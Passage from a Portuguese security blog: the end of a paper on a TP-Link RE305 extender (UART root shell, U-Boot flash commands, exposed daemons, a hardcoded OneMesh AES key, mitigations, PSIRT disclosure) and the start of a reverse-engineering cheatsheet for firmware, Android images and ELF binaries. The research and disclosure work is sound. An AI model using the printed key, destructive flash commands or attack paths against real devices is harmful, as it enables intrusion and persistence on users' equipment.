<p><code>U2FsdGVkX1</code> é o base64 de <code>Salted__</code>. Esse é o sentinel do <code>openssl enc -aes-...-cbc</code> quando rodado com password-based KDF padrão. Decodando o base64:</p>
<pre><code class="language-plaintext">00000000  53 61 6c 74 65 64 5f 5f  1a 89 37 45 6f 3f e7 0e   Salted__..7Eo?..
00000010  fa 47 3f 25 80 35 b6 b9  1c 02 f5 7a fe ff de fd   .G?%.5.....z....
</code></pre>
<p>Header <code>Salted__</code> (8 bytes) + salt (8 bytes: <code>1a 89 37 45 6f 3f e7 0e</code>) + ciphertext (16 bytes = 1 bloco AES). Senha em texto plano cabe em até 16 bytes (provavelmente curta, tipo o default “admin” ou um valor configurado pelo usuário).</p>
<p>Diferente do path OneMesh (que usa <code>-K -iv</code> direto com as chaves hardcoded), esse fluxo é declarado em <code>crypto.lua</code> como <code>openssl enc -aes-256-cbc -k &lt;password&gt;</code> com password-based KDF, e o <code>password</code> viria de <code>/etc/secretkey</code>:</p>
<pre><code class="language-plaintext">$ strings /usr/lib/lua/luci/model/crypto.lua | grep -A1 -B1 secretkey
-k %q
-kfile /etc/secretkey
2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836
</code></pre>
<p>Só que verifiquei no device live: <code>/etc/secretkey</code> <strong>não existe</strong>. Não é gerado pelos init scripts catalogados, não está em <code>/tmp</code>, não está em <code>/etc_ro</code>, não fica em memory mapped persistent storage que pude inspecionar. Nenhum daemon write para esse path.</p>
<p>A leitura inicial foi que o caminho <code>crypt_used_openssl → enc_file/dec_file</code> declarado em <code>crypto.lua</code> seria fallback morto e o caminho real seria <code>wolfssl_enc_dec</code>. Pra validar essa hipótese, peguei o próprio <code>/usr/bin/lua</code> patched do device, copiei junto da <code>liblua.so.5.1.5</code> e da árvore Lua pro <code>usr/lib/lua/</code> num chroot fake, e rodei via <code>qemu-mipsel-static</code> no host x86_64:</p>
<pre><code class="language-bash">$ mkdir -p /tmp/re305_qemu/{lib,usr/lib,usr/bin,usr/lib/lua}
$ cp /usr/bin/lua /tmp/re305_qemu/usr/bin/
$ cp /usr/lib/liblua.so.5.1.5 /tmp/re305_qemu/usr/lib/
$ ln -s liblua.so.5.1.5 /tmp/re305_qemu/usr/lib/liblua.so.5.1
$ cp -r /lib/* /tmp/re305_qemu/lib/   # uClibc + deps
$ tar -C /usr/lib/lua -c . | tar -C /tmp/re305_qemu/usr/lib/lua -x

$ qemu-mipsel-static -L /tmp/re305_qemu /tmp/re305_qemu/usr/bin/lua -v
Lua 5.1.5  Copyright (C) 1994-2012 Lua.org, PUC-Rio (double int32)
</code></pre>
<p>A string <code>(double int32)</code> no banner do interpreter é a <strong>assinatura da TP-Link</strong> — vanilla Lua 5.1 não imprime isso. Confirma a modificação custom do interpreter e o motivo do <code>luadec</code>/<code>unluac</code> falharem com <code>bad header</code> no bytecode shipped.</p>
<p>Com o interpreter rodando, escrevi um bootstrap que hooka <code>io.popen</code>, <code>os.execute</code> e <code>io.open</code> ANTES de carregar <code>luci.model.crypto</code>, e chama <code>crypto.enc("test_plaintext")</code>:</p>
<pre><code class="language-lua">-- /tmp/re305_qemu/hook.lua
local orig_popen = io.popen
io.popen = function(cmd, ...)
    print("[HOOK io.popen]: " .. tostring(cmd))
    return orig_popen(cmd, ...)
end
local orig_open = io.open
io.open = function(path, mode, ...)
    print("[HOOK io.open]: " .. tostring(path) .. " mode=" .. tostring(mode))
    return orig_open(path, mode, ...)
end
local crypto = require("luci.model.crypto")
print("=== crypto.enc trial ===")
local ok, result = pcall(crypto.enc, "test_plaintext_padme")
print("ok=", ok, "result=", tostring(result):sub(1, 200))
</code></pre>
<p>Execução:</p>
<pre><code class="language-plaintext">$ qemu-mipsel-static -L /tmp/re305_qemu /tmp/re305_qemu/usr/bin/lua /tmp/re305_qemu/hook.lua

Can't open "/etc/secretkey" for reading, No such file or directory
40F7F1DC73790000:error:80000002:system library:BIO_new_file:No such file or directory:
    ../crypto/bio/bss_file.c:67:calling fopen(/etc/secretkey, r)
40F7F1DC73790000:error:10000080:BIO routines:BIO_new_file:no such file:
    ../crypto/bio/bss_file.c:75:
aes-256-cbc: Use -help for summary.
Invalid command 'zlib'; type "help" for a list.
=== crypto.enc trial ===
ok= true result= function: 0x462e50
</code></pre>
<p>Dois achados concretos:</p>
<ol>
<li><p><strong>O caminho REAL usado em produção É</strong> <code>crypt_used_openssl</code> <strong>— não</strong> <code>wolfssl_enc_dec</code><strong>.</strong> Minha leitura inicial estava errada. O Lua module efetivamente dispara <code>openssl zlib -e | openssl aes-256-cbc -e -kfile /etc/secretkey</code> via <code>io.popen</code>. O fallback <code>wolfssl_enc_dec</code> só rola se o probe inicial decidir que <code>crypt_used_openssl</code> é false.</p>
</li>
<li><p><strong>O caminho FALHA em runtime</strong> porque <code>/etc/secretkey</code> não existe E o <code>openssl</code> instalado também rejeita o subcomando <code>zlib</code> (removido nas versões recentes por motivos de CVE histórica).</p>
</li>
</ol>
<p>O que aconteceu aqui, na minha leitura: o config field <code>accountmgnt.admin.password</code> (o <code>U2FsdGVkX1...</code>) foi muito provavelmente gravado num build/factory anterior onde <code>/etc/secretkey</code> existia e <code>openssl zlib</code> estava disponível, e nunca foi reencriptado depois que esses pré-requisitos foram removidos. Na prática o ciphertext continua no UCI, mas o caminho declarado pra decifrar dele não funciona no runtime atual.</p>
<p>Sobra inconsistência arquitetural entre o que <code>crypto.lua</code> declara e o que o runtime efetivamente sustenta. Ou (a) o admin auth da web UI usa um caminho alternativo que ignora <code>accountmgnt.admin.password</code> completamente, ou (b) o admin auth está broken numa sub-classe de devices que receberam esse firmware sem rebuild do <code>/etc/secretkey</code>. Não consegui distinguir esses dois cenários do meu lado estático+emulado.</p>
<p>Pra fechar a história sem live device introspection, três caminhos ficam abertos: cross-check com firmware OEM de outro modelo TP-Link da mesma família que ainda gere <code>/etc/secretkey</code> no boot (se existir) identificaria o script ou daemon ausente; decompilação do <code>wolfssl_enc_dec</code> body via patched luadec está bloqueada pelo bytecode com modificações custom de header e opcode constant types; e RE do binário <code>/usr/bin/lua</code> (16 KiB, MIPS LE stripped) pra extrair a tabela de opcodes modificada é vetor mais técnico mas viável. Pra esse paper estático fica arquitetura documentada com clear-text recovery pendente.</p>
<p>Qualquer um com shell root no RE305 pode dumpar a chave runtime — interceptando uma chamada a <code>aes_decrypt</code> em qualquer Lua script, ou via gdb attach no processo uhttpd. Como <code>dropbear</code> aceita root sem senha no factory state (seção 10), o atacante remoto LAN tem rota completa pra essa recuperação sem precisar quebrar crypto.</p>
<p>Bate com o que vi no ZTE F689: lá o PKCS12 client cert tinha senha derivada como <code>sha256(seed)[:16]</code>, onde <code>seed</code> é literal <code>MgtServer.0.PKCS12PassWord</code> do hardcode. Mesma arquitetura aqui — secret hardcoded → KDF → key → decrypt config field. Vendors diferentes, mesma classe de falha, ambos confiando que reverse do binário cliente seja barreira efetiva. Não é.</p>
<p>Pra completar o <code>/etc</code>: <code>/etc/certificate/2048_newroot.cer</code> é a CA da TP-Link discutida na seção 13, com 50 anos de validade; <code>/etc/dropbear/</code> mora em ramfs (o <code>/etc</code> inteiro é regenerado a cada boot, F23 da enumeração na seção 12.9), então as host keys de SSH são geradas runtime e não shipped; <code>/etc/config/system</code> e <code>/etc/config/wireless</code> são defaults editáveis via UCI, sem material crypto.</p>
<p>Nenhum CVE público documentando especificamente <code>accountmgnt</code> da TP-Link com RSA-1024 em cleartext + admin password em formato OpenSSL <code>Salted__</code> no RE305 V3. Família “embedded device with cleartext RSA in config” tem CVEs em outros vendors, nenhum apontando esse arquivo específico.</p>
<hr />
<h2>16. Impacto de segurança consolidado</h2>
<p>A interface UART exposta no RE305 viola múltiplos princípios de defesa em profundidade ao mesmo tempo. Cada camada que normalmente faria parte do modelo de ameaça do device ou foi desabilitada, ou é silently ignored, ou está protegida por crypto quebrada desde os anos 90.</p>
<table>
<thead>
<tr>
<th>Camada</th>
<th>Estado</th>
<th>Impacto</th>
</tr>
</thead>
<tbody><tr>
<td>Pads UART</td>
<td>Não vazados mas funcionais</td>
<td>Atrasa atacante casual</td>
</tr>
<tr>
<td>U-Boot CLI</td>
<td>Sem senha, <code>md</code>/<code>mw</code>/<code>spi</code>/<code>tftpboot</code> habilitados</td>
<td>Dump completo, modificação de RAM, escrita arbitrária em flash</td>
</tr>
<tr>
<td>U-Boot env</td>
<td><code>bootcmd=tftp</code>, <code>serverip</code> hardcoded <code>192.168.0.184</code></td>
<td>TFTP boot attack com físico curto</td>
</tr>
<tr>
<td>Menu boot</td>
<td>Opções 5/6/8 escondidas</td>
<td>Superfície adicional de TFTP boot</td>
</tr>
<tr>
<td>Boot delay</td>
<td>1 s, suficiente pra interrupção manual</td>
<td>Janela aberta pra atacante físico</td>
</tr>
<tr>
<td>Kernel cmdline</td>
<td><code>earlyprintk debug</code> em produção</td>
<td>Info leak by design via UART</td>
</tr>
<tr>
<td>Filesystem em flash</td>
<td>Encrypted-at-rest (hipótese HW engine MT7628)</td>
<td>Hardening contra chip-off, irrelevante pós-boot</td>
</tr>
<tr>
<td>Console serial pós-boot</td>
<td>Shell root sem senha</td>
<td>Root direto via UART em 30s</td>
</tr>
<tr>
<td><code>/etc/shadow</code></td>
<td>root sem hash</td>
<td>Login serial e SSH ambos vulneráveis</td>
</tr>
<tr>
<td>dropbear <code>SysAccountLogin</code></td>
<td>Silently ignored no binário</td>
<td>Tentativa de hardening não-funcional</td>
</tr>
<tr>
<td>dropbear versão</td>
<td>2011.54 (9 anos legacy)</td>
<td>Múltiplos CVEs pre/post-auth</td>
</tr>
<tr>
<td>TDDP</td>
<td>0.0.0.0:1040 UDP, ops destrutivas, single DES</td>
<td>Provável CVE-2020-12109, erase_radio via UDP</td>
</tr>
<tr>
<td><code>path_selection</code></td>
<td>0.0.0.0:6000/6001 TCP, handle_update_config_event</td>
<td>Candidato a pre-auth RCE</td>
</tr>
<tr>
<td><code>tdpServer</code></td>
<td>0.0.0.0:20002 UDP OneMesh, single DES</td>
<td>Mesh MITM com brute-force 24h</td>
</tr>
<tr>
<td><code>uhttpd</code></td>
<td>TLS not compiled, :80 plaintext only</td>
<td>Sniffing trivial em LAN/WiFi</td>
</tr>
<tr>
<td><code>rfc1918_filter</code></td>
<td>Desabilitado no build BR</td>
<td>DNS rebinding via browser do usuário</td>
</tr>
<tr>
<td>SSH host keys</td>
<td>Regen a cada boot em ramfs</td>
<td>Treina usuário a ignorar MITM warning</td>
</tr>
</tbody></table>
<p>Pré-runtime extraction é a fase mais perigosa porque autenticação no Linux, ACLs, firewall, TLS ainda não estão ativas. Mas neste device, mesmo após o boot completar, o estado runtime continua trivialmente comprometível.</p>
<p>O que o acesso UART habilita, em ordem de gravidade. Recuperação de senha admin default (em unit pós-reset, factory state, unboxing), vetor de “vizinho consegue acesso ao seu extender”. Localização de chaves TLS e RSA embarcadas pra impersonation de gerência (TR-069/CWMP, cloud TP-Link, provisionamento OneMesh). Identificação dos daemons proprietários (tddp, tdpServer, path_selection, pfclient, client_mgmt) pra auditoria de superfície remota, vetor primário de CVE explorável sem físico contra qualquer RE305 na mesma LAN ou WiFi. E modificação de firmware (rebuild do SquashFS a partir do firmware update file público, recálculo de checksums, reflash via TFTP ou <code>spi write</code>), persistência em flash trivial.</p>
<h3>16.1 Mitigações realistas</h3>
<p>Mitigações que não dependem de fuse ou secure boot, ou seja, que custam zero em BOM:</p>
<ol>
<li><p>Senha no U-Boot CLI (<code>CONFIG_AUTOBOOT_KEYED</code> ou <code>CONFIG_AUTOBOOT_STOP_STR</code> com hash).</p>
</li>
<li><p>Senha no Linux root, getty validando sem fallback, fix trivial no <code>/etc/shadow</code> gerado em build.</p>
</li>
<li><p>Compilar dropbear honrando <code>SysAccountLogin</code>, ou remover a diretiva da config se não tem efeito. Config que mente é pior que config ausente.</p>
</li>
<li><p>Compilar uhttpd com TLS, habilitar HTTPS por default.</p>
</li>
<li><p>Habilitar <code>rfc1918_filter</code> por default no build BR (já estava ativo no build EU).</p>
</li>
<li><p>Atualizar dropbear pra versão pós-2017 que tenha CVEs corrigidos.</p>
</li>
<li><p>Substituir single DES por AES-128 ou ChaCha20-Poly1305 em TDDP e OneMesh key exchange.</p>
</li>
</ol>
<p>Custo de BOM dita o resto. Secure boot com chave em fuse é o único controle que sobrevive a adversário físico determinado, mas encarece o produto.</p>
<hr />
<h2>17. Considerações finais</h2>
<p>Extração de firmware via UART é caminho determinístico e barato. Pra adversário motivado, é a etapa zero de qualquer pesquisa adversarial contra a plataforma.</p>
<p>Pra indústria de SOHO routers e extenders, isso significa que assumir confidencialidade de firmware é falha de modelo de ameaça. Todo segredo embarcado tem que ser tratado como público a partir do momento em que o produto sai de fábrica. A postura de segurança deriva dessa premissa, usando por exemplo secrets per-device derivados de identidade única em fuse, e não chaves globais embarcadas em SquashFS, nem dropbear compilado com config que mente.</p>
<p>O RE305 é caso interessante porque o vendor tem o hardware encryption-at-rest do MT7628 ativado, sinal de que pelo menos uma decisão de hardening foi tomada. E ao mesmo tempo deixa shell root sem senha no UART pós-boot. Defesa contra chip-off ativada, defesa contra cabo serial não. O modelo de ameaça assumido pelo design parece ser o do adversário que dessolda chip, não o do adversário que solda fio.</p>
<p>Pro pesquisador, o RE305 é alvo de estudo excelente. Pads rotulados, U-Boot aberto, plataforma extensivamente documentada, tamanho de flash compatível com dump serial sem chip-off, e shell root no fim do boot que dispensa quebrar a encryption-at-rest pra ver o que tá rodando.</p>
<p>Próximos passos do meu lado, alguns já em andamento no momento desse paper estar fechando: validar in-band as opções 5/6/8 escondidas do menu boot; reverter o binário <code>tddp</code> pra confirmar a chain de command injection via <code>system()</code>; mapear o wire protocol do <code>path_selection</code> em 6000/6001; rodar fuzzer UDP dedicado contra TDDP pra validar CVE-2020-12109 no build de Feb 2020; e caracterizar o timing real de brute-force de single DES no MAC OneMesh key exchange. O disclosure formal pra TP-Link PSIRT cobrindo os achados de chave hardcoded + RSA cleartext + outros segue embargo padrão de 90 dias e está em andamento em paralelo a este paper.</p>
<hr />
<h2>Apêndice A. Materiais e ferramentas</h2>
<table>
<thead>
<tr>
<th>Item</th>
<th>Função</th>
</tr>
</thead>
<tbody><tr>
<td>TP-Link RE305 AC1200 (versão BR, firmware Feb 2020)</td>
<td>Alvo</td>
</tr>
<tr>
<td>Conversor USB-UART (CP2102 recomendado, ou CH340 / FT232 / Flipper Zero) - Aqui utilizo o flipper pois já tenho.</td>
<td>Bridge serial 3.3 V TTL para USB</td>
</tr>
<tr>
<td>Resistor 220Ω 1/4 W</td>
<td>Inline entre TX do bridge e RX do alvo, evita back-powering</td>
</tr>
<tr>
<td>Ferro de solda, estanho 60/40, flux</td>
<td>Soldagem dos pads UART</td>
</tr>
<tr>
<td>Jumpers Dupont F-F (3x)</td>
<td>Conexão bridge para pads soldados</td>
</tr>
<tr>
<td>Multímetro</td>
<td>Continuidade e detecção de curto antes de energizar</td>
</tr>
<tr>
<td><code>tio</code> (v2.7+)</td>
<td>Terminal serial com logging</td>
</tr>
<tr>
<td><code>pyserial</code> + <code>uboot_dump.py</code> (custom)</td>
<td>Automação do <code>md.b</code> chunked</td>
</tr>
<tr>
<td><code>binwalk</code>, <code>squashfs-tools</code></td>
<td>Análise pós-dump</td>
</tr>
<tr>
<td><code>xxd</code>, <code>hexdump</code>, <code>strings</code></td>
<td>Inspeção dos binários</td>
</tr>
</tbody></table>
<h2>Apêndice B. Comandos U-Boot úteis</h2>
<pre><code class="language-plaintext">help              # comandos disponíveis na build
help spi          # subcomandos spi: read/erase/write/sr write (NÃO listado por help puro)
printenv          # dump completo do environment
bdinfo            # board info, memstart, memsize, flashstart, flashsize, ethaddr, baudrate
md.b &lt;a&gt; &lt;n&gt;      # display byte mode, padrão pra dump
md.w &lt;a&gt; &lt;n&gt;      # display word (16-bit)
md.l &lt;a&gt; &lt;n&gt;      # display long (32-bit), útil pra headers
mw.b &lt;a&gt; &lt;v&gt;      # memory write byte
cp.b &lt;s&gt; &lt;d&gt; &lt;n&gt;  # copy bytes
spi read &lt;a&gt; &lt;l&gt;  # lê SPI flash direto pra RAM
spi write &lt;o&gt; &lt;h&gt; # escreve hex em offset da flash (DESTRUTIVO)
spi erase &lt;o&gt; &lt;l&gt; # erase setores (DESTRUTIVO)
spi sr write &lt;v&gt;  # escreve status register da flash
tftpboot &lt;a&gt; &lt;f&gt;  # carrega arquivo de TFTP em endereço de RAM
bootm &lt;a&gt;         # boot de imagem uImage em RAM
</code></pre>
<p><code>mw.b</code> + <code>tftpboot</code> é o vetor de boot de firmware customizado em RAM sem persistir em flash. <code>spi write</code> + <code>spi erase</code> + <code>tftpboot</code> é o vetor de persistência completa em flash. Tratar como API de root no bootloader.</p>
<h2>Apêndice C. Resumo dos achados</h2>
<table>
<thead>
<tr>
<th>ID</th>
<th>Severidade</th>
<th>Descrição</th>
</tr>
</thead>
<tbody><tr>
<td>F01</td>
<td>High</td>
<td><code>spi write/erase/sr write</code> subcomandos escondidos no <code>help</code></td>
</tr>
<tr>
<td>F02</td>
<td>Medium-High</td>
<td>Opções de menu boot 5/6/8 não listadas (TFTP-Linux/UBoot variants)</td>
</tr>
<tr>
<td>F03</td>
<td>High c/ físico</td>
<td><code>serverip=192.168.0.184</code> hardcoded + <code>bootcmd=tftp</code> default</td>
</tr>
<tr>
<td>F04</td>
<td>Low (Hygiene)</td>
<td><code>earlyprintk debug</code> em production kernel cmdline</td>
</tr>
<tr>
<td>F05</td>
<td>Info / Hardening</td>
<td>File-system encrypted-at-rest (hipótese HW engine MT7628)</td>
</tr>
<tr>
<td>F06</td>
<td><strong>Critical</strong></td>
<td>Shell root no UART pós-boot sem senha, <code>SysAccountLogin</code> silently ignored</td>
</tr>
<tr>
<td>F13</td>
<td>High</td>
<td>dropbear v2011.54 + flags custom TP-Link <code>-C</code>/<code>-L</code></td>
</tr>
<tr>
<td>F14</td>
<td>High</td>
<td><code>path_selection</code> em 0.0.0.0:6000+6001 TCP com <code>handle_update_config_event</code></td>
</tr>
<tr>
<td>F15</td>
<td><strong>Critical</strong></td>
<td>TDDP em 0.0.0.0:1040 UDP, hooks destrutivos + string injection candidate</td>
</tr>
<tr>
<td>F16</td>
<td>High</td>
<td>tdpServer (OneMesh) em 0.0.0.0:20002 UDP</td>
</tr>
<tr>
<td>F17</td>
<td>High (umbrella)</td>
<td>dropbear 2011.54 = CVE-2016-7406/7/8/9, CVE-2017-9078 surface</td>
</tr>
<tr>
<td>F19</td>
<td><strong>Critical</strong></td>
<td>TDDP set/get config + erase_radio + setMac via UDP</td>
</tr>
<tr>
<td>F20 (rev)</td>
<td>High</td>
<td>tdpServer usa AES-256 com chave global hardcoded <code>TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP</code> no OneMesh slave-key exchange</td>
</tr>
<tr>
<td>F21</td>
<td>High</td>
<td>uhttpd HTTP-only (TLS not compiled in binary)</td>
</tr>
<tr>
<td>F22</td>
<td>Medium</td>
<td><code>rfc1918_filter '0'</code> no build BR, DNS rebinding habilitado</td>
</tr>
<tr>
<td>F23</td>
<td>Hygiene</td>
<td>SSH host keys em ramfs (regen a cada boot)</td>
</tr>
</tbody></table>
]]></content:encoded></item><item><title><![CDATA[Cheatsheet de engenharia reversa: firmware, binários nativos e APK Android]]></title><description><![CDATA[Referência de campo de engenharia reversa. Não é pesquisa de vulnerabilidade, não é pentest, não é disclosure. É o trabalho de pegar um artefato fechado (uma imagem de firmware, um ELF stripado, um AP]]></description><link>https://t1m3rev.hashnode.dev/cheatsheet-de-engenharia-reversa-firmware-bin-rios-nativos-e-apk-android</link><guid isPermaLink="true">https://t1m3rev.hashnode.dev/cheatsheet-de-engenharia-reversa-firmware-bin-rios-nativos-e-apk-android</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[brazil]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[firmware]]></category><category><![CDATA[binary]]></category><dc:creator><![CDATA[Viktor Mota]]></dc:creator><pubDate>Fri, 22 May 2026 19:36:58 GMT</pubDate><content:encoded><![CDATA[<p>Referência de campo de engenharia reversa. Não é pesquisa de vulnerabilidade, não é pentest, não é disclosure. É o trabalho de pegar um artefato fechado (uma imagem de firmware, um ELF stripado, um APK) e desmontar até entender o que ele faz: extração, disassembly, decompilação, emulação, tracing, instrumentação, patching, deobfuscação.</p>
<p>Organizado por etapa. Pula direto pra onde você está travado. Os exemplos são de trabalho real, com alvo sanitizado.</p>
<hr />
<h2>1. Identificar o artefato</h2>
<p>Antes de desmontar, saber o que é. <code>file</code> resolve a maioria, mas mente com header customizado, com artefato cifrado, e com container dentro de container. Aí você lê os bytes.</p>
<pre><code class="language-bash">file artefato
xxd artefato | head                 # os primeiros bytes não mentem
binwalk artefato                    # assinaturas conhecidas em qualquer offset
binwalk -E artefato                 # curva de entropia
</code></pre>
<p>Entropia: código e texto ficam entre 4 e 6. Acima de 7.5 e plano do byte zero ao fim, sem header de compressão, é dado cifrado. Comprimido também é alto, mas tem o magic da compressão no começo. Essa distinção decide se o fabricante encriptou o firmware ou só comprimiu.</p>
<table>
<thead>
<tr>
<th>Bytes (hex)</th>
<th>ASCII</th>
<th>Artefato</th>
</tr>
</thead>
<tbody><tr>
<td><code>7F 45 4C 46</code></td>
<td><code>.ELF</code></td>
<td>binário ELF</td>
</tr>
<tr>
<td><code>64 65 78 0A</code></td>
<td><code>dex\n</code></td>
<td>Dalvik DEX (segue <code>035</code>, <code>038</code>, <code>039</code>)</td>
</tr>
<tr>
<td><code>50 4B 03 04</code></td>
<td><code>PK..</code></td>
<td>ZIP, e portanto APK, JAR</td>
</tr>
<tr>
<td><code>68 73 71 73</code></td>
<td><code>hsqs</code></td>
<td>SquashFS little-endian (<code>sqsh</code> se BE)</td>
</tr>
<tr>
<td><code>85 19</code> / <code>19 85</code></td>
<td></td>
<td>JFFS2</td>
</tr>
<tr>
<td><code>31 18 10 06</code></td>
<td></td>
<td>nó UBIFS</td>
</tr>
<tr>
<td><code>55 42 49 23</code></td>
<td><code>UBI#</code></td>
<td>volume UBI</td>
</tr>
<tr>
<td><code>27 05 19 56</code></td>
<td></td>
<td>uImage do U-Boot</td>
</tr>
<tr>
<td><code>D0 0D FE ED</code></td>
<td></td>
<td>device tree (DTB)</td>
</tr>
<tr>
<td><code>3A FF 26 ED</code></td>
<td></td>
<td>Android sparse image</td>
</tr>
<tr>
<td><code>41 4E 44 52 4F 49 44 21</code></td>
<td><code>ANDROID!</code></td>
<td>boot.img Android</td>
</tr>
</tbody></table>
<hr />
<h2>2. Desempacotar firmware embarcado (Linux)</h2>
<pre><code class="language-bash">binwalk -eMq imagem.bin             # extrai, recursivo, quieto
unblob imagem.bin                   # mais robusto com aninhamento
</code></pre>
<p>O <code>binwalk</code> reconhece o SquashFS pelo magic mas o <code>unsquashfs</code> recusa quando o fabricante mexeu no compressor ou no dicionário. Ferramentas dedicadas resolvem onde o <code>binwalk</code> puro falha.</p>
<table>
<thead>
<tr>
<th>Filesystem</th>
<th>Onde aparece</th>
<th>Ferramenta</th>
</tr>
</thead>
<tbody><tr>
<td>SquashFS</td>
<td>quase todo CPE</td>
<td><code>unsquashfs</code>, <code>sasquatch</code> (formato adulterado)</td>
</tr>
<tr>
<td>JFFS2</td>
<td>flash NOR</td>
<td><code>jefferson</code></td>
</tr>
<tr>
<td>UBIFS</td>
<td>flash NAND</td>
<td><code>ubireader_extract_files</code></td>
</tr>
<tr>
<td>CramFS</td>
<td>equipamento antigo</td>
<td><code>cramfsck</code>, <code>binwalk</code></td>
</tr>
<tr>
<td>ext2/3/4</td>
<td>imagem de disco</td>
<td><code>mount -o loop,ro</code>, <code>debugfs</code></td>
</tr>
</tbody></table>
<p>Layout de partição, lido do alvo rodando ou do dump bruto:</p>
<pre><code class="language-bash">cat /proc/mtd                       # nome e tamanho de cada partição
ubinfo -a                           # volumes UBI
nanddump --noecc -f part.bin /dev/mtd3
</code></pre>
<h3>Extração física</h3>
<p>Sem interface, sem dump por software, o firmware sai do silício.</p>
<p>UART: quatro pads numa fileira. GND tem continuidade com o terra, acha com multímetro. VCC fica fixo em 3.3V (às vezes 1.8V) no power-on. TX oscila durante o boot, visível com analisador lógico barato. RX fica em nível alto parado.</p>
<pre><code class="language-bash">screen /dev/ttyUSB0 115200          # tente também 57600, 9600
</code></pre>
<p>No console do U-Boot (<code>printenv</code>, <code>help</code>, <code>md</code>, <code>nand dump</code>) você dumpa a flash inteira pelo próprio bootloader.</p>
<p>Flash SPI NOR (SOIC-8, Winbond W25Qxx, Macronix MX25Lxx): programador CH341A de quinze reais mais <code>flashrom</code>.</p>
<pre><code class="language-bash">flashrom -p ch341a_spi              # detecta o chip
flashrom -p ch341a_spi -r d1.bin
flashrom -p ch341a_spi -r d2.bin
sha256sum d1.bin d2.bin             # têm que bater; se não, leitura suja
</code></pre>
<p>Leitura in-circuit com clip SOIC-8 é rápida mas a flash faz backpowering da placa e a leitura sai corrompida (os dois dumps não batem). Segure o SoC em reset, ou parta pro chip-off: dessolda, lê no soquete, ressolda. eMMC é BGA, não clipa: use os test points de ISP (CLK, CMD, DAT0, VCC, GND) com um leitor de eMMC, ou chip-off com reballing.</p>
<p>JTAG são 4 ou 5 sinais (TCK, TMS, TDI, TDO, TRST opcional), SWD são 2 (SWDIO, SWCLK). Pra mapear header desconhecido sem queimar nada, o JTAGulator (Joe Grand) faz brute-force das combinações de pino lendo o IDCODE. Software com OpenOCD.</p>
<h3>Firmware cifrado</h3>
<p>Entropia 8.0 plana, sem header de compressão. A chave está em algum lugar: TEE (TrustZone), eFuse ou OTP do SoC, ou hardcoded no bootloader. O caminho prático é achar o updater no userspace, o binário que recebe a imagem nova e a aplica. Ele descriptografa pra validar, então a rotina de derivação passa por ele. Reverte o updater (próximas seções), acha o <code>AES</code>, o <code>EVP_</code>, e rastreia de onde vem o material da chave.</p>
<hr />
<h2>3. Desempacotar firmware Android</h2>
<p>ROM de fábrica raramente é um arquivo só. É uma cebola: pacote do vendor, dentro dele uma <code>super.img</code>, dentro dela as partições dinâmicas, cada uma um filesystem.</p>
<pre><code class="language-bash"># imagem sparse do Android -&gt; imagem raw
simg2img system.img system_raw.img          # magic 3a ff 26 ed = sparse

# super.img com partições dinâmicas -&gt; partições separadas
lpunpack super.img out/                     # gera system.img, vendor.img, product.img...

# pacote OTA: payload.bin dentro do zip
payload-dumper-go -o out/ payload.bin       # extrai cada partição do update

# MediaTek: ler partição direto do device via BROM/Preloader
python3 mtk.py rl dump/                     # readback de todas as partições
python3 mtk.py r system,vendor sys.img,vnd.img
</code></pre>
<p>Slots A/B: as partições vêm com sufixo <code>_a</code> e <code>_b</code>. O slot ativo é o que tem conteúdo, o inativo costuma estar vazio. O filesystem dentro é ext4 nas ROMs antigas e erofs nas novas.</p>
<pre><code class="language-bash">mount -o loop,ro system_a.img /mnt/sys           # ext4
fsck.erofs --extract=out_erofs vendor_a.img      # erofs
file system_a.img                                # "ext2 ... (extents)" = ext4
</code></pre>
<p>Montado, o que interessa por diretório: <code>app/</code> e <code>priv-app/</code> têm os APKs (privilegiados em <code>priv-app/</code>), <code>framework/</code> tem os JARs do framework, <code>bin/</code> e <code>lib*/</code> os binários e libs nativas, <code>etc/selinux/*.cil</code> a política SELinux. Em cada pasta de APK costuma haver <code>oat/&lt;arch&gt;/</code> com <code>.odex</code> e <code>.vdex</code>, que é o bytecode pré-compilado pelo ART. O <code>.dex</code> original ainda está dentro do APK.</p>
<p><code>boot.img</code> se desmonta com o magic <code>ANDROID!</code>: separa kernel e ramdisk, e o kernel costuma estar comprimido (gzip, lz4). <code>binwalk -eMq boot.img</code> resolve, ou <code>unpack_bootimg</code>.</p>
<hr />
<h2>4. ELF e binário nativo</h2>
<p>O header do ELF e a tabela dinâmica contam quase tudo antes de você ler uma instrução.</p>
<pre><code class="language-bash">file bin
readelf -h bin                      # arquitetura, endianness, tipo (EXEC/DYN), entry
readelf -d bin                      # NEEDED (libs), RUNPATH, e o interpretador
readelf -l bin | grep interpreter   # /lib/ld-uClibc.so.0 ? glibc ? bionic ?
readelf -S bin                      # seções
nm -D bin                           # símbolos dinâmicos
objdump -d bin                      # disassembly cru
strings -n 8 -t x bin               # strings com offset em hex
</code></pre>
<p>O que ler nessa saída, com um exemplo real de um agente de CPE que reversei:</p>
<pre><code class="language-plaintext">ELF 32-bit LSB pie executable, ARM, EABI5, dynamically linked,
interpreter /lib/ld-uClibc.so.0, stripped
</code></pre>
<p>Linha por linha. <code>32-bit LSB</code> é ARM little-endian. <code>pie</code> (tipo <code>ET_DYN</code> com entry e com interpretador) é position-independent, então todo endereço que você anotar é relativo à base de carga. <code>interpreter /lib/ld-uClibc.so.0</code> entrega que é firmware embarcado, uClibc e não glibc, o que muda layout de struct e comportamento de <code>malloc</code>. <code>stripped</code> significa que não tem tabela de símbolos, você vai trabalhar com <code>fcn.0001a2b4</code> em vez de nomes, e renomear na mão conforme entende.</p>
<p><code>readelf -d</code> mostra o <code>RUNPATH</code>. Naquele binário era <code>/Plugin/&lt;nome&gt;/lib:./lib:/lib</code>, ou seja ele carrega <code>.so</code> proprietárias de um diretório próprio. Você vai precisar dessas libs pra emular depois.</p>
<p>Hardening, sem instalar <code>checksec</code>: NX está ligado se existe o segmento <code>GNU_STACK</code> sem flag de execução. Stack canary existe se o símbolo <code>__stack_chk_fail</code> aparece. RELRO é parcial com <code>GNU_RELRO</code> e total se também tem <code>BIND_NOW</code>.</p>
<hr />
<h2>5. Arquiteturas: ARM, MIPS e convenções</h2>
<p>Pra rastrear a entrada até um sink, você precisa saber onde cada ABI põe os argumentos.</p>
<table>
<thead>
<tr>
<th>ABI</th>
<th>Argumentos</th>
<th>Retorno</th>
<th>Syscall: número / instrução</th>
</tr>
</thead>
